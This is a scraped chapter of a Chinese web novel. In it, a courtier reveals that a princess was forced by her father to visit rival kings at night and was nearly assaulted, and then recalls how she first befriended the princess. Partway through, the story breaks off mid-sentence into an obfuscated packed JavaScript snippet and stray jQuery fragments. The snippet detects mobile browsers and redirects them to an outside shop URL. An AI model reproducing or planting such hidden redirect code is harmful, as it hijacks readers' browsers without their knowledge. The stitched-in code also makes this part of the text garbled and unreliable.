默认冷灰
24号文字
方正启体

26. 说不得

作者:一盏茶歌本书字数:K更新时间:
    深夜书房内,左殊礼坐在上首,淡淡望着座下跪地女子。


    她长了张菩萨面,五官随和亲善,待人如沐春风。


    而左殊礼见她第一眼时就看透了她的本性,此人平和外表下,有着深沉的心计与城府,否则姜央不会被她护成这副纯善性子。


    她与姜临夜一样,都挂了身欺骗性极强的伪装。


    宁无白面目沉和,开口直接一语惊人,“我愿以姜央当年刺你的真相,换一个能随时跟在她身边的身份。”


    左殊礼静静看了她许久,声色沉缓,一语炸出惊雷,“三年前的真相,我早已查清。”


    自他回周国后,第一件事便是着手调查姜央伤他的缘由,所获结果却令他耿耿于怀。


    当年,因老周皇趁火打劫要走了骊妃,燕皇失了颜面暗中生恨,又没胆子反抗,于是妄图用他左殊礼的性命报复夺妃之耻。


    当时他受周国使臣保护,燕皇的人未能寻到机会,于是想到了姜央。姜央是他在燕国唯一的好友。


    燕皇以姜临夜的安危为要挟,命姜央暗中刺杀他。


    姜央心软,当年那一刀,她故意刺偏了。


    姜央伤他伤的情有可原,只是每每想到她是为了姜临夜而伤他,左殊礼心中总会不由自主产生一股怨恨,既恨她维护姜临夜,又恨她既然要杀他,为何下手不能再狠绝彻底些。


    这怨恨无处安放,待姜央来到他身边后才逐渐变得稀薄。


    如今人在他身边,日夜相对,他还会在意他们那点可笑的“兄妹情谊”吗?


    对于左殊礼知晓真相一事,宁无白无动于衷,道:“你知晓的一切,未必是真相。”


    她抬头直视左殊礼,柔和的双眼泛出冷光:“你不如我了解姜临夜。”


    宁无白与姜临夜,在姜央面前都是温润亲切之人,然而两人之间却如温水遇上暖炉,水火不容。


    正是同类才更加了解彼此。


    左殊礼沉思良久,蓦地笑了,“宁无白,我若真计较那‘一刀之仇’,姜央如何能安然留在我身边?”


    他非心宽之人,恨意有之,更多的却是恨姜临夜在她心中的地位,他在姜央面前屡屡提及那一刀,故意疏远她,实则是为了引她愧疚。


    姜央用一刀,令他无法忘怀她,他便要用这一刀将她束缚在身边。


    姜央的心里装了太多人,他要让她这辈子只能记着他。


    他双眸暗沉,“你莫将我想得太软弱,即便那一刀是要捅死我,只要我有一口气在,我都能想方设法让她回到我身边来。所以……真相于我,并非那般重要。换一个。”


    都是聪明之人,宁无白直接问:“你想知道什么?”


    他要换筹码,必定是眼下有更急切需要得知的消息。


    左殊礼双手交叠于腹前,缓缓问:“她为何不肯碰琴了?”


    宁无白脸色一变,平静的神色骤然皲裂,她死咬住下唇,眼神躲开了他。


    左殊礼一见便知自己猜对了。结合姜央提“琴”时过激反应,左和颐闻“琴”色变的反常,以及宁无白此刻的表现,比起那所谓的“真相”,姜央不肯碰琴的缘由显然更叫人讳莫如深。


    他起身走到她面前,烛火将他身影拉长,盖在宁无白周身,一股压迫感随之而来,“告诉我,我便给你想要的身份。”


    无形的压力罩在她身上,她似想到什么,紧咬着唇,双手紧绞,脸上闪过恨色。左殊礼无声等待,沉闷压抑中,她挣扎片刻,嗫嚅几番,胸口几经起伏,最终轻叹口气,轻声道:“我可以告知于你,只是……望你今后莫要……莫要在她面前提及,也莫要再……轻视她……”


    她艰涩吞咽,深吸一口气才娓娓道来。


    三年前齐国刚开始攻打燕国时,燕皇便率先提出诸国会盟,邀请六国君主会面于姬野。


    西朝战乱,今日不是你攻打我,便是明日我攻打你,打来打去没个尽头,无非是借着攻打,互相讨要些好处。


    诸国会盟,是各路君王讨价还价的大型要价现场。


    而燕皇,自骊妃被老周皇讨要走后,性情巨变,如中邪了一般,变得不可理喻。


    燕皇无能,拿着用骊妃交换的周国盟约,无力报复周皇,更无胆色正面对抗齐国,于是,便想到骊妃的女儿、自己曾经最疼爱的公主——姜央,妄图用她在各国换取利益。


    用公主联姻,是西朝各国历来结盟的常用手段,可燕皇却失心疯了一般,想用姜央漫天要价,只因姜央是他所有女儿中,长得最美名声最显的那一个。


    姜央在诸国会盟上奏的那一曲,只是个开端。


    当夜,燕皇逼着姜央独自抱着她的琴,自周国外的四国君王卧房各走了一遭。她身为燕国公主,自认该履行公主义务,为国贡献,没曾想到,贡献的方式却是舍去尊严,如一名妓子一般游走于诸王之间,任人挑选。


    宁无白说到此处,平静的语气已维持不住,她颤颤吐了口气,似想将胸口的痛意宣泄而出,却收效甚微。


    缓了好半晌,才继续道:“此举甚是隐蔽,我们当时都不知晓燕皇对她的逼迫,幸得被跟来的左和颐半路撞见,他问姜央为何晚间在外逗留,姜央只说自己在外散心。左和颐觉得她面色不对,暗地跟随,眼看着她进了齐皇的卧室。”


    左和颐当即觉得事有蹊跷,跑来求助于她和姜临夜。


    她和姜临夜立马设计,用人引导反悔出门去寻姜央的赵国君主,引赵皇闯入齐皇卧房。


    当时,齐皇房内的琴声已停,赵皇闯入时,姜央正被齐皇压在地上,衣裙已被扯去大半。


    有人闯入,赵皇与齐皇掰扯起来,当着姜央的面为她这一晚的归属争执不休,状如花坊内争一名妓子的纨绔。


    后来,宁无白和姜临夜引来他人,两名君主以为自己惊动了旁人,碍于颜面才放过姜央。


    当时的姜央一声不吭,如一名行将就木的老妪,颤巍巍抱着自己的琴爬起来,她丝毫不理会满身狼狈,以及脖颈肩背上被齐皇掐出的青紫淤痕。


    回房第一件事,便是砸了自己的琴。


    宁无白满脸泪痕,还不忘讥讽道:“好好的一个公主,硬生生被燕皇弄成了一个名头响亮的‘玩物’,燕皇也是异想天开,真以为用一个女儿便可换得国泰民安?”


    她讽笑出声,“燕皇直到死前还在怨怪姜央当夜为何不肯屈从齐皇,更恨自己贪心不足,不该顾此失彼,妄想用她换取更大利益。应该当机立断直接送她去齐国。”


    “可笑,齐国筹备多年早对燕国势在必得,又岂是送个公主过去就能休战的?”


    宁无白抹去泪水,对隐在阴影中静默如石的左殊礼道:“公主回燕国后,烧了所有的琴,却唯独留下你送的那一把。”


    沉寂已久的左殊礼,浑身一震,宁无白戏谑的看着他神色崩裂,冷笑道:“这就是你想知晓的缘由,如何,你还恨她吗?你明白她为何对你予取予求,为何依赖你又想逃避开,为何死活都不肯反抗你吗?”


    “你一心想让她只惦记着你,可她从未忘过你!”


    左殊礼身形一晃,宁无白犹嫌不够,“你可知公主为何一直不肯告知你那一刀的真相?那是因为,待你知晓真相后,你只怕会更怨恨你自己!”


    阴影中,左殊礼额上不知何时已浸满冷汗,面色苍白如夜晚飘荡的鬼。他颤颤巍巍重新站起,极力保持镇定,“无需你提点,我一直都在恨我自己。”


    他的恨,太杂太乱,件件都与姜央有关。


    强压住浑身的颤抖,他冷冷道:“我会重新予你周国女官的身份,今后你可如愿陪在姜央身边。”


    他步履蹒跚向外走去,忽而一个踉跄扶住门扉,月色只照出一个影,他一字一句道:“我从未想过真正伤害她。”


    他只是希望,遭遇万难时,姜央想到的第一个人,能是他。


    如今看来,他没做到,是他无能……


    月上中天,府中角落兽园里传来猛兽尖啸的嘶吼声。吼声震天,是个难眠的长夜。


    宁无白仍滞留在房中,她望着颤动的烛火,缓缓笑了。


    是啊,除了她的至亲,有谁曾真正想过伤害她?


    连她母妃对她的爱,都沾着血。


    她想到自己第一次见姜央。


    那一年,宁无白还是一名获罪官眷,被关在掖幽庭中不知何时能有出头之日。


    许是上天安排,那日姜央被自己皇妹抢了最爱的琴,独自一人跑到掖幽庭哭泣,当年她还是会与姐妹争头花的孩童。


    她外出洒扫,撞见了在角落抹泪的姜央。


    根据她的衣裙,她一眼认出她的身份,好心上前询问:“公主怎一个人跑来这是非之地?”


    姜央揉了揉自己哭得红肿的眼,面对第一次见面的陌生罪奴,她不设心防,瓮声瓮气道:“我被皇妹欺负了,不想误入此处。”


    当是被欺负的狠了,才会躲到这么偏僻的宫廷角落。


    姜央毫无心机的坦白,让她见到了走出掖幽庭的曙光。


    她笑得慈眉善目,柔声道:“若公主不嫌弃,可以与我说一说,我帮你想想法子。”


    不谙世事的小公主眼前一亮,老老实实交代了一切。她暗笑她的天真,抓住这罕有的机会倾囊相授。她的体贴关切,把姜央哄得眉开眼笑。


    自此二人结下情谊。


    许是姜央太过纯良,偷跑来找她拿主意的次数越来越多,一来二去,她费尽心思取得姜央信任,她终于对她渐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527739|182965||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渐产生了依赖。


    直至一日,姜央问她,“无白,你帮了我这么多,想要什么回报?”


    她面上温和笑着说出违心话,“举手之劳,为好友排忧解难,不需要回报。”


    姜央思索良久,问:“你想出这掖幽庭吗?”


    她心中一喜,却口不对心道:“我父亲犯了重罪,身为他的子女,我是要被关在此处一辈子为奴为婢的。”


    姜央犯了难,当日沉默离去。


    三日后,姜央领着宣旨的内侍,重回掖幽庭。


    旨意下来,竟然是特赦出宫,是身为罪眷少有的恩赐!她筹谋多日,终于得偿所愿。


    她喜不自胜,姜央一面恭贺她,一面又舍不得她,亲自送她到宫门口。


    临别之际,她送了她一笔可观的银两,羞涩道:“我听说,女子在外生活不易,也不知这些银钱够不够。”


    她假做推辞,又听姜央道:“母妃说,若有所求必得付出代价,这是我把我所有头面首饰卖给母妃才换来的,你若不收,我拿它们也换不回我的首饰们了。”


    宁无白一愣,姜央好似回过神来,又将头上仅存的两枚金簪也摘下放入她手中,“还剩下这一点,都送给你。”


    她对她的好,毫无保留,显得她的虚伪客套像个笑话。


    她默默收了下来,垂下眼帘,低声问:“你什么都不剩了,该如何是好?明日燕皇寿辰,你总不能……”


    姜央无所谓笑笑,“无妨,总归父皇是偏爱我的,否则也不会应我所求,慷慨送了我两道圣旨。”她不小心说漏了嘴,蓦地捂了上去。


    她这欲盖弥彰的模样,让她生了疑,问:“什么两道圣旨?”


    那时的她无甚心机也不懂隐瞒,不知怎么糊弄过去,只好道:“其实,父皇最初的意思是调你来我身边当宫婢,可我记得你是不愿再为奴为婢的,于是我软磨硬泡才求来这一道。”


    她顿时如遭雷击,一瞬间她的刻意讨好,有意接近,所有的阴谋算计,在她诚心以待面前仿佛像个丑八怪。


    她犹自发怔着,姜央与她挥手道别,“无白,你我一别,只怕再无相见之日,望你今后事事顺遂,好运常伴。”


    姜央转头,悄悄抹去不舍的泪水。


    她明明舍不得她,明明可以自私的将她留在身边,可偏偏压下自己的私心,为她这个相处不深的罪奴争来自由。


    她真心拿她当挚友。


    真是可笑,身为燕国最尊贵的公主,却认一名罪奴当好友,且还倾其所有毫无保留。


    她望向宫外湛蓝的天,那是她曾期盼已久的天地,而身前与她道别之人,却成了照进她心底阴暗的一束光。


    多年在潮湿泥泞中求生的她,在这个利欲熏心,魑魅魍魉横行的年代,一瞬间贪恋上这束无垢的光。鬼使神差的,她走回姜央身侧,选择了另外一道圣旨。


    而姜央回馈她的选择,两年后,将她扶上只有燕国贵族才可担任的女官之位。


    她曾问姜央:“当年你不怕自己信错了人吗?”


    姜央笑得灿如春花,自信满满道:“不怕,我眼光向来比较好。”


    是啊,她眼光向来好,否则不会在万千人中,偏偏缠上她与左殊礼这两个死脑筋……


    宁无白走回姜央卧房,床上的人睡得深沉,似在做着美梦,唇角挂着浅浅的笑。


    她轻轻理着她的碎发,喃喃道:“阿央不怕,往后我又能好好保护你了。”


    只有在她入睡后,她才肯唤她的名。只有在她不知道的角落,她才不会当她是个遥不可及的公主。


    ……


    姜央这一觉睡得尤其好,连带着早膳胃口都比往日大了几分。


    当宁无白为她盛上第二碗清粥时,左殊礼迈了进来。


    他一眼瞥见她手中还未来得及入口的粥,问:“还未用膳?”


    不等姜央开口,宁无白道:“刚食过一碗,又给她添了些。”


    “可有食肉糜?”


    宁无白,“只吃了两口,虽去了油腥,依旧吃不下太多。”


    左殊礼颔首,“这里有我,你们先下去吧。”


    两人这一来二去的相谈,让姜央有些陌生,感觉二人之间好似……好似少了些往日的生疏。


    下人们徐徐退去,左殊礼拾起牙箸,为她碗内添菜,姜央捧着粥碗,打量了他两眼,忽而问:“你怎么了?”


    左殊礼手一顿,波澜不惊反问她:“嗯?为何如此问?”


    姜央放下碗倾身过来,仔细看过一圈,道:“你怎比昨日憔悴许多?”


    指着他的脸道:“脸也比昨日苍白许多。”


    她又靠近一分,皱着鼻子闻了闻,蹙眉道:“身上怎还有药味?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)